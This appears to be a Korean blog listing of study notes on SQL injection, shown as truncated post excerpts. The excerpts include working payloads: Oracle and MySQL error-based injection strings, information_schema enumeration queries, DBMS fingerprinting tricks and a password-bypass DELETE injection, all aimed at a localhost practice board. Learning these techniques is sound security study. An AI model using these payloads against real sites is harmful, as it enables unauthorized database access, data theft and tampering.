목록웹 해킹 (100)
Oh! JUN
※ 공격 가능한 패키지 ORDSYS.ORD_DICOM.GETMAPPINGXPATH('crehacktive') CTXSYS.DRITHSX.SN(1,'crehacktive') CTXSYS.CTX_QUERY.CHK_XPATH('crehacktive',1) ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+banner+from+v$version+where+rownum=1)) CTXSYS.CTX_QUERY.CHK_XPATH((select+banner+from+v$version+where+rownum=1),1) CTXSYS.CTX_QUERY.CHK_XPATH((select+banner+from+v$version+where+rownum=1),1) 1. 기본 정보 목록화 => 버전, 사용자, S..
1. 기본 정보 목록화(DB버전, 사용자, 현재 DB명) @@version/version(), system_user(), database() http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,@@version,0x0a)) - DB버전 http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,system_user(),0x0a)) - DB 유저 정보 http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,database(),0x0a)) - DB 이름 2. 메타 데이터 목록화 2-1. 순차..
ORACLE - 사용자 단위로 테이블이 구분이 되어있음 - DB가 나누어져 있지 않음 DBA_TABLES / DBA_TAB_COLUMNS : 데이터베이스의 모든 테이블 / 컬럼 정보(DBA 권한) ★ ALL_TABLES / ALL_TAB_COLUMNS : 현재 사용자가 접근 가능한 모든 테이블 / 컬럼 정보 USER_TABLES / USER_TAB_COLUMNS : 현재 사용자가 생성 / 소유하는 테이블 / 컬럼 정보 순차적 목록화 select * from all_users; - 모든 사용자를 조회한다. - ORACLE은 MYSQL처럼 DB가 여러개 존재하지 않고, 사용자와 테이블과 매핑되어있다. select DISTINCT owner from all_tables; - 모든 테이블에서 owner를 중복제..
메타 데이터란 무엇인가? "데이터에 대한 데이터로 자료 그 자체가 아닌 자료의 속성 등을 설명하는 데이터" 데이터의 종류가 많아지면서 이를 정리하기 위해 목록화 시킬 필요성을 느꼈다. 순차적 접근(전체 테이터 목록화) - 장점 : 중요 정보(데이터) 놓칠 가능성이 낮음 - 단점 : 높은 시간 소요 / 높은 트래픽 발생 비순차적 접근(특정 데이터 목록화) - 장점 : 낮은 시간 소요 / 낮은 트래픽 발생 - 단점 : 중요 정보 놓칠 가능성이 높음 select * from information_schema.schemata (db조회) select * from information_schema.tables (table 조회) select * from information_schema.columns (colum..
rownum 행에 일렬번호를 붙여준다. rownum < 3 이하인 행만 검색 하니까 1,2 검색된다. ※ 주의 select rownum, username from all_users where rownum = 3; 쿼리를 입력하면 rownum값이 3인 행만 검색되지 않을까? - 검색되지 않는다. 쿼리문의 실행순서는 (1) from all_users (2) where rownum
limit(index, size) index: 레코드 시작 size: 레코드 시작부터의 개수 count()함수로 레코드의 개수를 알 수 있다.
★데이터 조회 공격 상세 프로세스 이번 시간에는 환경 분석 실습을 해볼 것이다. DBMS 파악 웹에서 사용하고 있는 DBMS(mysql, mssql, oracle, ...)을 파악해야 적절한 인젝션 공격을 할 수 있다. DBMS를 파악하는 방법은 위의 방법들이 있는데 실무자에 의하면 연결 연산자를 가장 많이 사용한다고 한다. ex) ★http://127.0.0.1/board/mysql/view.php?idx=11 and 'test'='te' 'st' mysql 연결 연산자 http://127.0.0.1/board/mysql/view.php?idx=11 and mid('test',1,1)='t' mysql 함수 http://127.0.0.1/board/mysql/view.php?idx=11 and leng..
접근 권한이 없는 타 사용자의 글을 수정할때는 패스워드를 입력해서 할 수도 있는데 상황이 두가지가 있다. 1. UPDATE/DELETE 구문의 WHERE 절에 password 삽입되어 검증 - 수정/삭제 할때 패스워드를 같이 입력해서 수행할 수 있다. 2. UPDATE/DELETE 구문 실행 전 password 검증 - 수정/삭제 전 패스워드를 입력해서 접근 권한을 얻고 수행할 수 있다. Delete 클릭하면 위와 같은 화면이 나오는데 패스워드를 입력하는 동시에 게시물이 삭제되는 이 경우는 1번에 해당하는 경우다. delete from board where idx=8 and password='' or idx=8-- ' idx=8 and password='' 참 and 거짓 = 거짓 (idx=8 and p..